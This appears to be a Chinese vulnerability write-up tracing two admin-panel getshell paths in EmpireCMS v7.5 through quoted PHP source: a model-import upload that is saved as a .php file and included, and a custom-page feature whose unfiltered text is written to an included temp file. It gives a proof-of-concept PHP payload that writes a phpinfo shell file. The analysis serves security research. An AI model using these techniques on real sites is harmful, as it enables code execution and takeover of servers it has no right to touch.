empirecms最新版(v7.5)后台多处getshell分析
后台getshell(一)
看ecmsmod.php第155-162行
elseif($enews=="LoadInMod")
{
$file=$_FILES['file']['tmp_name'];
$file_name=$_FILES['file']['name'];
$file_type=$_FILES['file']['type'];
$file_size=$_FILES['file']['size'];
LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}
跟进LoadInMod函数
function LoadInMod($add,$file,$file_name,$file_type,$file_size,$userid,$username){
global $empire,$dbtbpre,$ecms_config;
//验证权限
CheckLevel($userid,$username,$classid,"table");
$tbname=RepPostVar(trim($add['tbname']));
if(!$file_name||!$file_size||!$tbname)
{
printerror("EmptyLoadInMod","");
}
//扩展名
$filetype=GetFiletype($file_name);
if($filetype!=".mod")
{
printerror("LoadInModMustmod","");
}
//表名是否已存在
$num=$empire->gettotal("select count(*) as total from {$dbtbpre}enewstable where tbname='$tbname' limit 1");
if($num)
{
printerror("HaveLoadInTb","");
}
//上传文件
$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
$cp=@move_uploaded_file($file,$path);
if(!$cp)
{
printerror("EmptyLoadInMod","");
}
DoChmodFile($path);
@include($path);
这里如果是去爆破文件名的话也很简单,不可控的就
make_password(10)
10位随机数,因为这里拿不到种子,并不能去预测
但是下面
@include($path);
直接包含了这个文件,那么直接写入就可以。
<?php
file_put_contents("p0desta.php","<?php phpinfo(); ?>");
?>
后台getshell(二)
看代码ecmscom.php第46行
if($enews=="AddUserpage")//增加自定义页面
{
AddUserpage($_POST,$logininid,$loginin);
}
跟进函数AddUserpage
function AddUserpage($add,$userid,$username){
global $empire,$dbtbpre;
//操作权限
CheckLevel($userid,$username,$classid,"userpage");
$classid=(int)$add[classid];
$title=$add['title'];
$path=$add['path'];
$pagetext=$add['pagetext'];
if(empty($title)||empty($path))
{
printerror("EmptyUserpagePath","history.go(-1)");
}
$title=hRepPostStr($title,1);
$path=hRepPostStr($path,1);
$pagetext=RepPhpAspJspcode($pagetext);
$pagetitle=RepPhpAspJspcode($add[pagetitle]);
$pagekeywords=RepPhpAspJspcode($add[pagekeywords]);
$pagedescription=RepPhpAspJspcode($add[pagedescription]);
$tempid=(int)$add['tempid'];
$gid=(int)$add['gid'];
$sql=$empire->query("insert into {$dbtbpre}enewspage(title,path,pagetext,classid,pagetitle,pagekeywords,pagedescription,tempid) values('$title','$path','".eaddslashes2($pagetext)."','$classid','".eaddslashes($pagetitle)."','".eaddslashes($pagekeywords)."','".eaddslashes($pagedescription)."','$tempid');");
$id=$empire->lastid();
ReUserpage($id,$pagetext,$path,$title,$pagetitle,$pagekeywords,$pagedescription,$tempid);
if($sql)
{
//操作日志
insert_dolog("id=$id&title=$title");
printerror("AddUserpageSuccess","template/AddPage.php?enews=AddUserpage&gid=$gid&ChangePagemod=$add[pagemod]".hReturnEcmsHashStrHref2(0));
}
else
{
printerror("DbError","history.go(-1)");
}
}
可以发现是有处理函数的,跟进看一下
function RepPhpAspJspcode($string){
global $public_r;
die(var_dump($public_r[candocode]));
if(!$public_r[candocode]){
//$string=str_replace("<?xml","[!--ecms.xml--]",$string);
$string=str_replace("<\\","<\\",$string);
$string=str_replace("\\>","\\>",$string);
$string=str_replace("<?","<?",$string);
$string=str_replace("<%","<%",$string);
if(@stristr($string,' language'))
{
$string=preg_replace(array('!<script!i','!</script>!i'),array('<script','</script>'),$string);
}
//$string=str_replace("[!--ecms.xml--]","<?xml",$string);
}
return $string;
}
可以发现是有做替换操作的,那为什么会可以getshell呢,通过echo出$public_r[candocode]
为1
也就说说这个if判断条件进不去
默认设置为1,那么这个函数就相当于没有
可以发现在functions.php的第305行-319行
function RepPhpAspJspcodeText($string){
//$string=str_replace("<?xml","[!--ecms.xml--]",$string);
$string=str_replace("<\\","<\\",$string);
$string=str_replace("\\>","\\>",$string);
$string=str_replace("<?","<?",$string);
$string=str_replace("<%","<%",$string);
if(@stristr($string,' language'))
{
$string=preg_replace(array('!<script!i','!</script>!i'),array('<script','</script>'),$string);
}
//$string=str_replace("[!--ecms.xml--]","<?xml",$string);
$string=str_replace("<!--code.start-->","<!--code.start-->",$string);
$string=str_replace("<!--code.end-->","<!--code.end-->",$string);
return $string;
}
有个同样的替换操作的函数,如果使用这个函数也是很安全的。
继续往下走
进入函数
ReUserpage($id,$pagetext,$path,$title,$pagetitle,$pagekeywords,$pagedescription,$tempid);
跟进e\class\functions.php
function ReUserpage($id,$pagetext,$path,$title="",$pagetitle,$pagekeywords,$pagedescription,$tempid=0){
global $public_r;
if(empty($path))
{
return "";
}
$path=eReturnTrueEcmsPath().'e/data/'.$path;
DoFileMkDir($path);//建目录
eAutodo_AddDo('ReUserpage',$id,0,0,0,0);//moreportdo
if(empty($pagetitle))
{
$pagetitle=$title;
}
//模板式
if($tempid)
{
$pagestr=GetPageTemp($tempid);
}
else
{
$pagestr=$pagetext;
}
$pagestr=InfoNewsBq("page".$id,$pagestr);
$pagestr=RepUserpageVar($pagetext,$title,$pagetitle,$pagekeywords,$pagedescription,$pagestr,$id);
$pagestr=str_replace("[!--news.url--]",$public_r['newsurl'],$pagestr);
//die(var_dump($pagestr));
WriteFiletext($path,$pagestr);
}
发现代码进入$pagestr=InfoNewsBq("page".$id,$pagestr);
跟进这个函数
function InfoNewsBq($classid,$indextext){
global $empire,$dbtbpre,$public_r,$emod_r,$class_r,$class_zr,$fun_r,$navclassid,$navinfor,$class_tr,$level_r,$etable_r;
if(!defined('EmpireCMSAdmin'))
{
$_GET['reallinfotime']=0;
}
if($_GET['reallinfotime'])
{
$classid.='_all';
}
$file=eReturnTrueEcmsPath().'e/data/tmp/temp'.$classid.'.php';
if($_GET['reallinfotime']&&file_exists($file))
{
$filetime=filemtime($file);
if($_GET['reallinfotime']<=$filetime)
{
ob_start();
include($file);
$string=ob_get_contents();
ob_end_clean();
$string=RepExeCode($string);//解析代码
return $string;
}
}
$indextext=stripSlashes($indextext);
$indextext=ReplaceTempvar($indextext);//替换全局模板变量
//替换标签
$indextext=DoRepEcmsLoopBq($indextext);
$indextext=RepBq($indextext);
//写文件
WriteFiletext($file,AddCheckViewTempCode().$indextext);
//读取文件内容
ob_start();
include($file);
$string=ob_get_contents();
ob_end_clean();
$string=RepExeCode($string);//解析代码
return $string;
}
然后下面的include
将会包含这个文件,也就是说我们同样可以利用
<?php
file_put_contents("p0desta.php","<?php phpinfo(); ?>");
?>
这样来getshell,或者直接返回执行命令的回显。
- 这个cms后台getshell的点很多,不再细找,简单拿出2个来举例。
1 条评论
可输入 255 字